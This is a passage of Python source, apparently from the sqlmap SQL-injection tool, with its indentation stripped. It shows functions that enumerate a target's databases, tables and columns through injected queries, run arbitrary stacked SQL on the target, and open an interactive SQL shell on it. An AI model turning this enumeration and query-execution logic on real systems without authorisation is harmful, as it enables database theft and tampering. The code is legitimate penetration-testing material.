if not isNumPosStrValue(count):
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += tblQuery
query += whereDbsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query)
foundDb = inject.getValue(query, inband=False, error=False)
foundDb = safeSQLIdentificatorNaming(foundDb)
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
for db in foundTbls.keys():
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query)
foundTbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = foundTbl
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
foundTbls[db].append(foundTbl)
return foundTbls
def searchColumn(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common columns existence check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.col.split(","))
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
whereDbsQuery = ""
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblCond = rootQuery.inband.condition3
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
column = safeSQLIdentificatorNaming(column)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
column = column.upper()
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(",")
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg2)
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if not all((conf.db, conf.tbl)):
# Enumerate tables containing the column provided if
# either of database(s) or table(s) is not provided
query = rootQuery.inband.query
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
values = inject.getValue(query, blind=False)
else:
# Assume provided databases' tables contain the
# column(s) provided
values = []
for db in conf.db.split(","):
for tbl in conf.tbl.split(","):
values.append([db, tbl])
for foundDb, foundTbl in filterPairValues(values):
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbls = foundTbl.split(",")
for foundTbl in foundTbls:
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundDb is None or foundTbl is None:
continue
conf.db = foundDb
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if foundDb in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[foundDb]:
if foundDb not in dbs:
dbs[foundDb] = {}
if foundTbl not in dbs[foundDb]:
dbs[foundDb][foundTbl] = {}
dbs[foundDb][foundTbl].update(kb.data.cachedColumns[foundDb][foundTbl])
if foundDb in foundCols[column]:
foundCols[column][foundDb].append(foundTbl)
else:
foundCols[column][foundDb] = [foundTbl]
kb.data.cachedColumns = {}
else:
if not conf.db:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
query = rootQuery.blind.count
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn("%s%s" % (warnMsg, infoMsgTbl))
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False, error=False)
db = safeSQLIdentificatorNaming(db)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
else:
for db in conf.db.split(","):
if db not in foundCols[column]:
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % colQuery
query += whereTblsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % colQuery
query += whereTblsQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
self.dumpFoundColumn(dbs, foundCols, colConsider)
def search(self):
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
for item in ('db', 'tbl', 'col'):
if getattr(conf, item, None):
setattr(conf, item, getattr(conf, item).upper())
if conf.col:
self.searchColumn()
elif conf.tbl:
conf.dumper.dbTables(self.searchTable())
elif conf.db:
conf.dumper.lister("found databases", self.searchDb())
else:
errMsg = "missing parameter, provide -D, -T or -C together "
errMsg += "with --search"
raise sqlmapMissingMandatoryOptionException, errMsg
def sqlQuery(self, query):
output = None
sqlType = None
query = query.rstrip(';')
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
if not sqlType or 'SELECT' in sqlType:
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
return output
else:
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
warnMsg = "execution of custom SQL queries is only "
warnMsg += "available when stacked queries are supported"
logger.warn(warnMsg)
return None
else:
if sqlType:
infoMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
else:
infoMsg = "executing unknown SQL type query: '%s'" % query
logger.info(infoMsg)
inject.goStacked(query)
infoMsg = "done"
logger.info(infoMsg)
output = False
return output
def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms()
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(sqlShell=True)
while True:
query = None
try:
query = raw_input("sql-shell> ")
query = utf8decode(query)
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not query:
continue
if query.lower() in ("x", "q", "exit", "quit"):
break
output = self.sqlQuery(query)
if output and output != "Quit":
conf.dumper.query(query, output)
elif not output:
pass
elif output != "Quit":
dataToStdout("No output\n")
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